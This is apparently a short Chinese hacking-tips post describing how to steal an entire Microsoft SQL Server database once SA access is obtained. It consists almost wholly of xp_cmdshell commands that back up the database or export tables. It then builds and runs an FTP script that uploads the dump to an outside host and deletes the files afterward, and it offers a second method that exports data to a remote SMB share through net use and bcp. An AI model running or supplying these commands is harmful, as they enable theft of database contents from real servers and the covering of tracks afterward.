MSSQL SA 站库分离拖库技巧

exec master.dbo.xp_cmdshell "del c:\bak"

--   backup database 数据库名 to disk = 'c:\bak'               --备份整个库

--   exec master.dbo.xp_cmdshell 'bcp 数据库名.dbo.表名 out c:\bak -c'    --备份单个表(文本)

exec master.dbo.xp_cmdshell "echo open IP地址 > c:\ftp.txt"

exec master.dbo.xp_cmdshell "echo ftp账户 >> c:\ftp.txt"

exec master.dbo.xp_cmdshell "echo ftp密码 >> c:\ftp.txt"

exec master.dbo.xp_cmdshell "echo binary >> c:\ftp.txt"

exec master.dbo.xp_cmdshell "echo put c:\bak >> c:\ftp.txt"

exec master.dbo.xp_cmdshell "ftp -s:c:\ftp.txt"

exec master.dbo.xp_cmdshell "del c:\ftp.txt"

exec master.dbo.xp_cmdshell "del c:\bak"


exec master..xp_cmdshell 'net use \\xx.xx.xx.xx\d$\test "pass" /user:"user"'

exec master..xp_cmdshell 'bcp test.dbo.test out \\xx.xx.xx.xx\d$\test\1.txt -c -Slocalhost -Uuser -Ppass'


评论回复